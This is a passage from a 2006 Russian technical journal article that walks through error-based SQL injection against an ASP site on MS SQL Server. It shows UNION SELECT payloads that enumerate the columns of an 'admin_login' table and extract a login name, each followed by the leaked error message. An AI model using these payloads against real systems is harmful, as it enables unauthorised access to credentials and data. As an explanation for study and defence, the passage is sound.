все имена столбцов в таблице:
UNION SELECT TOP 1 COLUMN_NAME
FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=
admin_login - -
Сервер БД выдаст следующее сообщение:
Microsoft OLE DB Provider for ODBC Drivers error
80040
e
07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value ’login_id’ to a column of data type int. /index.asp, line 5
Теперь, когда определено первое имя столбца, можно использовать
оператор
NOT IN()
, чтобы получить имя следующего столбца:
UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=
admin_login WHERE COLUMN_NAME NOT IN (’login_id’)—
Сервер БД выдаст следующее сообщение:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value ’login_name’ to a column of data type int. /index.asp,
line 5
Продолжая этот процесс, можно получить остальные имена столб-
цов, т.е.
password
,
details
, идругие, пока сервер БД не выдаст
следующее сообщение:
UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=
admin_login WHERE COLUMN_NAME NOT IN ’login_id’,’login_name’,
’password’,details’)-
Сервер БД выдаст следующее сообщение:
Microsoft OLE DB Provider for ODBC Drivers error 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items
must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
Теперь, когда идентифицированы некоторые важные таблицы,
можно использовать ту же самую методику, чтобы получить инфор-
маци ю и з БД.
Давайте получим первый
login_name
из таблицы
admin_login
:
UNION SELECT TOP 1 login_name
FROM admin_login- -
Сервер БД выдаст следующее сообщение:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value ’neo’ to a column of data type int. /index.asp, line 5
ISSN 0236-3933. Вестник МГТУ им. Н.Э. Баумана. Сер. “Приборостроение”. 2006. № 3 79